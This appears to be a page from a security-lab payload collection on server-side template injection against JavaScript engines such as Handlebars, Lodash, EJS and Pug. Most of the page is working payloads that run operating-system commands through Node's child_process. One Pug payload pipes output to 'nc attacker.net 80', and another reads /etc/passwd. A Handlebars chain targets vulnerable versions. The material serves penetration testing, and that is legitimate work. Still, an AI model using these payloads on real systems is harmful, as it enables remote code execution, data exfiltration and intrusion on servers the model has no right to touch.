TechnoFreaks - Security Lab
128 Payloads

Server Side Template Injection Payloads & Testing Methodology

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."

Overview (README)ASPElixirJavaJavaScriptPHPPythonRuby

Server Side Template Injection - JavaScript#

Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.

Summary#

Templating Libraries#

Template NamePayload Format
DotJS{{= }}
DustJS{ }
EJS<% %>
HandlebarsJS{{ }}
HoganJS{{ }}
Lodash{{= }}
MustacheJS{{ }}
NunjucksJS{{ }}
PugJS#{ }
TwigJS{{ }}
UnderscoreJS<% %>
VelocityJS#=set($X="")$X
VueJS{{ }}

Universal Payloads#

Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.

To use these payloads, wrap them in the appropriate tag.

javascript12 lines
// Rendered RCE
global.process.mainModule.require("child_process").execSync("id").toString()

// Error-Based RCE
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]

// Boolean-Based RCE
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]

// Time-Based RCE
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()

NunjucksJS is also capable of executing these payloads using {{range.constructor(' ... ')()}}.

Handlebars#

Official website

Handlebars compiles templates into JavaScript functions.

Handlebars - Basic Injection#

js2 lines
{{this}}
{{self}}

Handlebars - Command Execution#

This payload only work in handlebars versions, fixed in GHSA-q42p-pg8m-cqh6:

  • >= 4.1.0, < 4.1.2
  • >= 4.0.0, < 4.0.14
  • < 3.0.7
handlebars19 lines
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}

---

Lodash#

Official website

A modern JavaScript utility library delivering modularity, performance & extras.

Lodash - Basic Injection#

How to create a template:

javascript9 lines
const _ = require('lodash');
string = "{{= username}}"
const options = {
  evaluate: /\{\{(.+?)\}\}/g,
  interpolate: /\{\{=(.+?)\}\}/g,
  escape: /\{\{-(.+?)\}\}/g,
};

_.template(string, options);
  • **string:** The template string.
  • **options.interpolate:** It is a regular expression that specifies the HTML *interpolate* delimiter.
  • **options.evaluate:** It is a regular expression that specifies the HTML *evaluate* delimiter.
  • **options.escape:** It is a regular expression that specifies the HTML *escape* delimiter.

For the purpose of RCE, the delimiter of templates is determined by the **options.evaluate** parameter.

javascript8 lines
{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>


{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>

Lodash - Command Execution#

js1 line
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}

---

Pug#

Universal payloads also work for Pug.

Official website

javascript4 lines
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
javascript1 line
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

References#